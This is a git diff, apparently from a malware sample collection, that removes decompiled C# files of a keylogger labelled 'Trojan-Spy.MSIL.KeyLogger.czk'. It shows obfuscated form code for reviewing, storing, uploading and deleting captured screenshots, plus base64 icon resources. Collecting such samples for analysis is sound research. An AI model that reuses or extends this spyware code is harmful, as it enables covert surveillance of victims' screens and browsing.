EventArgs ᙄ) - { - try - { - this.ᝆ(); - if (this.\u196Fᙃ.Length <= 0) - return; - --this.ᥰᙃ; - this.ᣠᙃ.Image = new ᠾ().\u1819(Image.FromFile(this.\u196Fᙃ[this.ᥰᙃ]), new Size(this.ᣟᙃ.Width, this.ᣟᙃ.Height)); - this.ᣲᙃ.Enabled = true; - if (this.ᥰᙃ == 0) - this.\u1935ᙃ.Enabled = false; - this.ᤄᙃ.Text = this.ᙦ(this.\u196Fᙃ[this.ᥰᙃ]); - } - catch - { - } - } - - private void ᢡᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - if (this.ᥰᙃ == this.\u196Fᙃ.Length - 1) - return; - this.ᝆ(); - if (this.\u196Fᙃ.Length <= 0) - return; - ++this.ᥰᙃ; - this.ᣠᙃ.Image = new ᠾ().\u1819(Image.FromFile(this.\u196Fᙃ[this.ᥰᙃ]), new Size(this.ᣟᙃ.Width, this.ᣟᙃ.Height)); - this.\u1935ᙃ.Enabled = true; - if (this.ᥰᙃ == this.\u196Fᙃ.Length - 1) - this.ᣲᙃ.Enabled = false; - this.ᤄᙃ.Text = this.ᙦ(this.\u196Fᙃ[this.ᥰᙃ]); - } - catch - { - } - } - - private void ᢢᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - this.ᝆ(); - if (this.\u196Fᙃ.Length <= 0) - return; - this.ᣠᙃ.Image = new ᠾ().\u1819(Image.FromFile(this.\u196Fᙃ[this.\u196Fᙃ.Length - 1]), new Size(this.ᣟᙃ.Width, this.ᣟᙃ.Height)); - this.ᥰᙃ = this.\u196Fᙃ.Length - 1; - this.ᣲᙃ.Enabled = false; - this.\u1935ᙃ.Enabled = true; - this.ᤄᙃ.Text = this.ᙦ(this.\u196Fᙃ[this.ᥰᙃ]); - } - catch - { - } - } - - private void ᢣᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - ᡞ ᡞ = new ᡞ(); - ᡞ.ᡠ(this.\u196Fᙃ[this.ᥰᙃ]); - ᡞ.Text = this.ᙦ(this.\u196Fᙃ[this.ᥰᙃ]); - ᡞ.Show(); - } - catch - { - } - } - - private void ᢤᙃ(object ᙂ, EventArgs ᙄ) - { - FolderBrowserDialog folderBrowserDialog = new FolderBrowserDialog(); - int num = (int) folderBrowserDialog.ShowDialog(); - if (!Directory.Exists(folderBrowserDialog.SelectedPath)) - return; - this.ᣣᙃ.Text = folderBrowserDialog.SelectedPath; - } - - private void ᢥᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.ScreenshotLocations = this.ᣣᙃ.Text; - Settings.Default.Save(); - } - - private void ᢦᙃ(object ᙂ, EventArgs ᙄ) - { - Settings.Default.ScreenshotUploadOnly = this.\u1923ᙃ.Checked; - Settings.Default.Save(); - this.\u177E(); - } - - private void ᢧᙃ(object ᙂ, EventArgs ᙄ) - { - if (Directory.Exists(Settings.Default.ScreenshotLocations)) - Process.Start(Settings.Default.ScreenshotLocations); - else - Directory.CreateDirectory(Settings.Default.ScreenshotLocations); - Process.Start(Settings.Default.ScreenshotLocations); - } - - private void ᢨᙃ(object ᙂ, EventArgs ᙄ) - { - if (MessageBox.Show(ᙵ.ᙊᙃ, ᙵ.ᙘᙃ, MessageBoxButtons.YesNo) != DialogResult.Yes) - return; - this.ᙢ(); - } - - public void ᙢ() - { - foreach (string file in Directory.GetFiles(Settings.Default.ScreenshotLocations)) - { - try - { - System.IO.File.Delete(file); - } - catch - { - } - } - this.ᝂ(); - } - - private void \u18A9ᙃ(object ᙂ, EventArgs ᙄ) - { - try - { - int num = int.Parse(this.ᥢᙃ.Text); - if (num < -1) - num = -1; - Settings.Default.MaxImageFolderSize = num; - this.\u177E(); - } - catch (Exception ex) - { - this.ᥲᙃ.ឨ(ex); - } - } - - private void ᢪᙃ(object ᙂ, EventArgs ᙄ) - { - ᝰ ᝰ = new ᝰ(ᝰ.\u1772, ᙵ.ᙎᙃ); - ᝰ.Show(); - ᝰ.Activate(); - } - - private void \u18ABᙃ(object ᙂ, EventArgs ᙄ) - { - ᝰ ᝰ = new ᝰ(ᝰ.ឈ, ᙵ.ᙾᙃ); - ᝰ.Show(); - ᝰ.Activate(); - } - - private void \u18ACᙃ(object ᙂ, EventArgs ᙄ) - { - ᝰ ᝰ = new ᝰ(ᝰ.ដ, ᙵ.ᙒᙃ); - ᝰ.Show(); - ᝰ.Activate(); - } - - private void \u18ADᙃ(object ᙂ, EventArgs ᙄ) - { - ᝰ ᝰ = new ᝰ(ᝰ.គ, ᙵ.ᙔᙃ); - ᝰ.Show(); - ᝰ.Activate(); - } - - private void \u18AEᙃ(object ᙂ, EventArgs ᙄ) - { - ᝰ ᝰ = new ᝰ(ᝰ.ម, ᙵ.ᙖᙃ); - ᝰ.Show(); - ᝰ.Activate(); - } - - private void \u18AFᙃ(object ᙂ, EventArgs ᙄ) - { - ᝰ ᝰ = new ᝰ(ᝰ.ឆ, ᙵ.ᙀᙃ); - ᝰ.Show(); - ᝰ.Activate(); - } - - private delegate int ᡆᙃ(string url, DateTime date, string user, string browser); -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙀ.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙀ.resx deleted file mode 100644 index 36375024..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙀ.resx +++ /dev/null @@ -1,147 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAcwIAAAKJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAABc1JHQgCuzhzpAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwgAADsIBFShKgAAAAghJREFUOE+lk/tLU3EYxs8/EppdVSQwSrwikpQKhj+EaAjKaqQNhhdwKMNk4A1RFKMI0YVBROyXgZdUzEqTrZhTh9dCloiXKAdDEFEfz/PC/JogBh74cuCc83ye570cDee8NOrrehb+ObXdc7C89MHcNgVjkwf5td9w3zKB9NIxJJd8RKJxAPEGp1gfAfb2D3Da2dndRyC4i82tHfjXt7G4EkTk3Wf/B/AuBcQ5zfwFzrE1Edv7/Liebj0bQGeK3bN/0fpuSWIT+Mq5jGt3qhWANZ+MH4pNZ4ozKsYRV+jAhO8P2t7/0AFVCsCGHQccr5mx6Uwxo3+a/C0Nv5pWqQDsdgjAiPfKx+W49Oismc/oTPGgewPWzllcSS1TAI6KgHl/UIQ9H37BMbqK6Kx6tOjx2TCeDsdP9H5dQ8XzGVxOMSsA50xxbo1bxJOLAbzu96PyhQ838+wS/e3wCjRNk/dPW7y4lGRSAC5Jge073ugvGZd3m30ejxo9Mr4bOe2o1+subZ8WiKHBg4jEYgXgqOgYEvNjU6sX2To44XGfAMLjDEgxfUbSkyGBXIw3KgDXc8C1Ls6smTU+sLr0tR1BbG4XojJsetctEjsmu1l2gMCjVeZuMzIP62NJfEZxdGadiDm20P1C7EOE3S5SAM6Zu81Ok84loYCjYrfpzJoZm84Uh90qVIDz/NGH0AEgNQb7UmkAAAAASUVORK5CYIIL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAGYjAAACAAABAAQAICAAAAEAIACoEAAARgAAACAgAAABAAgAqAgAAO4QAAAQEAAAAQAgAGgEAACWGQAAEBAAAAEACABoBQAA/h0AACgAAAAgAAAAQAAAAAEAIAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/28/EP9nN2D/aTeA/2k3gP1pOL/9aTiH/2k3gP5pOGj/ajUYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2c3YP1oNrf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP/9ZzfP/mk4aP9fPwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2k5UP1nN8//aTj//2k4//9pOP//h2H//6CA//+ggP//uKD//6CA//+ggP//j2r//208//9pOP//aTj//Wc45/5pOGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP1pOY//aTj//2k4//9yRP//pYj//8Sx///Kuf//yrn//8q5///Kuf//yrn//8q5///Kuf//yrn//6iM//97Uf//aTj//2k4//1nN6//Xz8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj9Zzev/2k4//9sO///lHH//7yn//+/qv//v6r//7+q//+/qv//v6r//7+q//+/qv//v6r//7+q//+/qv//v6r//7+q//+cfP//bkD//2k4//1nN8//bz8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/Wg3l/9pOP//bT///6OE//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+ni///dUf//2k4//1pOMf/Xz8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oOHD/aTj//Wc37/+fgf//p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+khv//c0X//2k4//1nN68AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Zjko/Wk29/9pOP//jWj//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+Tcf//bD3//2k4//5oN1gAAAAAAAAAAAAAAAAAAAAAAAAAAP1nN6//aTj//5Bs//+QbP//kGz//5Bs//+QbP//kGz//5Bs//+QbP//kGz//6WI//+skf//xLH//8i2///VyP//49r//+Pa///j2v//49r//+Pa///j2v//r5b//5Bs//9/Vv//aTj//Wc45/9fPwgAAAAAAAAAAAAAAAD/ajow/2k4//1pNvf/glj//4Rc//+TcP//o4X//7KZ///Crv//1cf//+Tb///////////////////////////////////////////////////////////////////u6P//o4X//4Nb//9uP///aTj//mk4aAAAAAAAAAAAAAAAAP1pOY//aTj//Wk5j//d0v//////////////////////////////////////////////////////////////////////////////////////////////////////7+/v//+8pv//eEz//3NF//9pOP/9aTi/AAAAAAAAAAAAAAAA/Wk43/9pOP//ooP////////////////////////////////////////////////////////////////////////////////////////////////////////////v7+///6+U//9wQf//cEH//2o4//9pOP//bz8QAAAAAP9nNyD/aTj//Wc37/+xmP////////Lv/////////////////+Li4v/////////////////////////////////////////////////v7+//7+/v/////////////////+/v7///kGz//2s7//9rO///aTn//2k4//5oN1gAAAAA/2c3QP9pOP/9aTjH/519///n4P/////////////6+f//////2NjY/9jY2P/Y2Nj/2NjY/+Li4v/i4uL/4uLi/+/v7//v7+//7+/v/+/v7/////////////////////////bz//9uPv//aTj//2k4//9pOP//aTj//mg4cAAAAAD+aDdY/2k4//9pOP//aTj//2k4//+KZP//y7r/////////////////2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/7+/v////////////////////////vaj//2k4//9pOP//aTj//2k4//9pOP/9aTiHAAAAAP5pOGj/aTj//2k4//9pOP//aTj//2k4//9pOP//gVf//9nN////////9vP//////9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P////////////////////////r5//93S///aTj//2k4//9pOP//aTj//2k4//1oOJ8AAAAA/2k5UP9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//9DB/////////////////9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/////////////////////////////uKH//2k4//9pOP//aTj//2k4//9pOP//aTj//2k3gAAAAAD+aDY4/2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//bj7//+fg/////////////////9jY2P/Y2Nj/2NjY/9jY2P///////////////////////+zm//9uPv//aTj//2k4//9pOP//aTj//2o4//9pOP/+aThoAAAAAP9vPxD/aTj//Wk29/9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//mHb/////////////////2NjY/9jY2P/Y2Nj/////////////////////////////k3D//2k4//9pOP//aTj//2k4//9pOP//aTn//2k4//9nN0AAAAAAAAAAAP1pOMf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//49r////////////Y2Nj/2NjY/+/v7//////////////x7P///////7ih//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP/9Zzfv/18/CAAAAAAAAAAA/2g3eP9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2s6//+1nf///////////+/v7//Y2Nj/////////////7+r////////Yy///azv//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//1pOKcAAAAAAAAAAAAAAAD/ajUY/Wk29/9pOP//aTj//2k4//9pOP//aTj//2k4//9yRP//jmn//6yR////////////7+/v//////////////z6////////6uP//5Nx//+Pa///d0r//2k4//9pOP//aTj//2k4//1pNvf/aTj//2k5UAAAAAAAAAAAAAAAAAAAAAD9aTiH/2k4//9pOP//aTj//2k4//9pOP//d0r//519//+fgP//t6D///////////////////bz/////////////9vP//+liP//n4D//5+A//+fgP//fFH//2k4//9pOP//aTj//2k4//1nN68AAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj9Zzjn/2k4//9pOP//aTj//2k4//+WdP//rpP//66T///Crv////////////////////////Dr///Fsf//rpP//66T//+uk///rpP//66T//+ff///aTj//2k4//9pOP//aTj//2o6MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oNjj9aTb3/2k4//9oOP//aTj//62S//+9p///vaf//9TF/////////v7//+be///QwP//vaf//72n//+9p///vaf//72n//+9p///vaf//7eg//9pOP//aTj//2k4//5pOGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oN1j/aTj//2k4//9pOP//mnr//8u6///Luv//0MD//9/U///d0///y7r//8u6///Luv//y7r//8u6///Luv//y7r//8u6///Luv//j2r//2k4//9pOP/9aTmPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oN1j9aTb3/2k4//1nN8//o4f//9rO///azv//2s7//9rO///azv//2s7//9rO///azv//2s7//9rO///azv//yLf//4Zf//9pOP//aTj//2k3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oNjj9Zzjn/2k4//9pOP//dUj//66V///h1///6eH//+nh///p4f//6eH//+nh///l3P//waz//5Z0//9pOP//aTj//Wc37/5oN1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj/aTeA/Wc37/9pOP//aTj//2k4//9wQP//fVP//31T//99U///eEz//2k4//9pOP//aTj//2k4//1oN5f/ajUYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ajUY/mk4aP1oNrf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//Wc3z/9oN3j/ZzcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+aDY4/2c3QP9nN0D/ZzdA/2c3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA///////4P///wAf//wAB//wAAH/4AAA/8AAAH/AAAA/gAAAPwAAAB8AAAAeAAAADgAAAA4AAAAOAAAADgAAAAYAAAAGAAAABgAAAA4AAAAOAAAADwAAAA8AAAAfAAAAH4AAAD/AAAB/4AAAf/AAAP/4AAP//AAH//+AP//////8oAAAAIAAAAEAAAAABAAgAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAA/18///9nN//+aDb//2g3//9qNf//Zjn//mg4//9oOP//ajn//2w7//9sPf//bj7//25A//9wQP//ckT//3VH//91SP//d0r//3hM//97Uf//fFL//39W//+BV///gln//4Rc//+GX///h2H//4pk//+NaP//jmr//5Bs//+TcP//lHH//5Z0//+Ydv//mnr//5x8//+ff///n4D//6CA//+ig///o4X//6SG//+liP//p4v//6iM//+skf//rpP//66V//+xmP//spn//7Wd//+3oP//uKD//7ym//+9qP//v6r//8Gs///Crv//xLH//8i2///Kuf/Y2Nj//9DA///Uxv//1cj//9jL///Zzf//2s7//93S///f1P//4df//+Pa///k2///5dz//+be/+Li4v/v7+///+fg///p4f//6uP//+zm///u6f//8Ov///Hs///y7///9vP///r5///8+v///v7/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAAP///////////////////////////////////////////////////////////////////////////////////////////////////wQECAgICQQEL////////////////////////////y8EBBsnJzUnJx4LBAT//////////////////////wQEDis7PT09PT09PT0tFAQ5//////////////////8/BCA4ODk4ODg4ODg4ODg4JA0E////////////////DQ0qMjIyMjIyMjIyMjIyMjMyKw8//////////////0b/OSotLCwtLCwsLCwsLS0tLS0sKg8E////////////BBwkIyQkJCMkIyQkJCQjIyMjIyMkIBFH/////////z8tJR4eHh4eHh4sLjs8QUlJSUlJSS8eFgT///////8n/xYZICoyOkFKWVlZWVlZWVlZWVlZUioYElT//////1T/VFhZWVlZWVlZWVlZWVlZWVlZWVlNNhIPBP//////DSpZWVlZWVlZWVlZWVlZWVlZWVlZWU0vDQ8RVv///yf/P1ZUWFlZTFlZWVlZWVlZWU1NWVlZTR4JBAkE////G/8nT1hZV1k+Pj4+TExMTU1NTVlZWVlWDQkEElT///8nDwQEHD9YWVk+Pj4+Pj4+Pj5NWVlZWTYECQQEBP///wQEBA0EBBZEWVZZPj4+Pj4+PllZWVhYEgQEBBFW////KBEEBAQECQQ/WVlZPj4+Pj5ZWVlZWTUEBAQNBAT///8gDQQEBAQJBAtOWVlZPj4+PllZWFhUDQQEBAQYWf///0L/NQQEBAQECSJYWVk+Pj5ZWVlZWB8EBA0EBAQU/////wQEBAQLBAkEBEhZWT4+TVlYVFg2BAQEBAQRVv//////WSgRBA0EBAQENVhZTT5ZWVJYQgQEBAQNBA8g////////BAQEBAQEDRwuWVlNWVhYVk8gHhEEBAQv/1n///////9ZNhgEBBInJzVYWFlWWFhFKicnJxEEBAQE//////////8SBAQEIC8vOVhYWFZPOy8vLy8vKAQWOVn///////////9ZGwQvNjlAVlZKPzY2NjY2Njk1BAQR/////////////zYgJyo8PT9GRjw/PT88Pz08Py88Wf////////////////9Z/1ZERkJCRkJEQkJEQj0bETb///////////////////82EQ8vQkZGRkpPSjk1PFn/////////////////////////WUY8HBYRFg8EETZH/////////////////////////////zk1Ly85RFn///////////////////////////////////////////////////////////////////g////AB///AAH//AAAf/gAAD/wAAAf8AAAD+AAAA/AAAAHwAAAB4AAAAOAAAADgAAAA4AAAAOAAAABgAAAAYAAAAGAAAADgAAAA4AAAAPAAAADwAAAB8AAAAfgAAAP8AAAH/gAAB/8AAA//gAA//8AAf//4A///////ygAAAAQAAAAIAAAAAEAIAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9/PwT+aDY4/2k5UP5oNkL/ZzcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2YzFP5nOIz+aTft/35U//+LZP//hVz//3RG//5oN83+ZzhWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/mk3Lv5pOeP/i2X//7qj///Fsv//xbL//8Wy///Fsv//qIz//3dL//1oN6H/fz8EAAAAAAAAAAAAAAAA/mQ2HP5pN+H/lnT//62T//+tk///rZP//62T//+tk///rZP//62T//+qj///fVP//Wg4nwAAAAAAAAAAAAAAAP1pN7P/hl7//5Z0//+WdP//lnT//5t7//+qjv//tZ3//7+r//+/q///v6v//5t8//9vQf/+ZjdSAAAAAP9qOjD+aTfh/7mh///Nvf//3dH//+7o//////////////////////////////////vPwf//d0v//mk3yQAAAAD/aTeA/opi+//8+///////+Pj4///////////////////////7+/v/+/v7///////3x7j//24+//9pOP/+azoa/mg3pv52SvH/tp////Hs//X19f/Y2Nj/29vb/93d3f/k5OT/6enp/////////////6OE//9pOP//aTj//mo5Pv5pN67/aTj//2k4//9vQP//xLH///38/+Li4v/Y2Nj/2NjY//X19f///////+zm//9tPf//aTj//2k4//5qOEj+aDeS/mg4/f9pOP//aTj//2o6///f1f//////2NjY/+Li4v////////////+Wc///aTj//2k4//9pOP/+ZzYq/2k5UP9pOP//aTj//2k4//9pOP//m3r//////97e3v/7+/v///j1//+/qv//aTj//2k4//9pOP/+aDfl/38AAv9VKgb+aTjf/2k4//9pOP//fFH//6SH///////7+fj///7+///azv//mHf//39V//9pOP/+aDj9/2k3gAAAAAAAAAAA/mc3Sv5oOP3/aTj//6yQ///Aq////////+3n///Mu///tp3//7ad//+wlv//aTj//mg42f9qPwwAAAAAAAAAAAAAAAD+Zzhs/mg4/f6fgPP/1Mb//9zR///TxP//08T//9PE///Ovv//km///mk43/5qOCQAAAAAAAAAAAAAAAAAAAAAAAAAAP5nN0r+aDfb/31T//+pjP//s5r//7KY//+efv//dEf//Wc4p/5oORYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/1UqBv5mOEj+aDeO/2k3oP9pN6D+aTZ0/mQ1JgAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAPAfAADgBwAAwAMAAIADAACAAQAAAAEAAAABAAAAAQAAAAEAAIABAACAAQAAwAMAAOAHAADwDwAA/H8AACgAAAAQAAAAIAAAAAEACAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAD//18///5oN///aDf//2o1//5oOP//aDj//2o5//9tPf//bj7//29A//90Rv//d0r//3xS//9+VP//hVz//4Ze//+KY///i2T//5Jv//+Wc///lnT//5h3//+bev//m3z//55+//+fgP//o4T//6SH//+ojP//qo7//6yS//+wlv//spn//7Wd//+2nf//uaH//7qj//+/qv//wKv//8Sx//fHuP//zLv//829///Ovv/Y2Nj/29vb/93d3f/e3t7/+8/B///TxP//1Mb//9rO///c0f//39X/4uLi/+Tk5P/p6en//+zm///u6P//8ez/9fX1///49f/4+Pj/+/n4//v7+////Pv///38///+/v8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAAA/////////////////////////////ycSDwz/////////////EiUoKCgoHiT/////////NCAfIB8fHyAeDv//////EBQUFBceIycnJxsg/////0Q2NjtDREREQ0MxDP////8+QD9DQ0RDQUA+KgwZ////Ojo7LS4vNzlCQxsEBP//CwQLKEI3LS09PjYEDx7///8jBAQ2Pi03Qj4UBAQL//8LBAQEF0IvPjsnDBcy/////zQkFBs+Pj40FA4E////////IyQnPjoqIyo0Mv//////////RDoyMjIyF////////////yQ2NjYyJP//////////////////////////////AADwHwAA4AcAAMADAACAAwAAgAEAAAABAAAAAQAAAAEAAAABAACAAQAAgAEAAMADAADgBwAA8A8AAPx/AAAL - - - 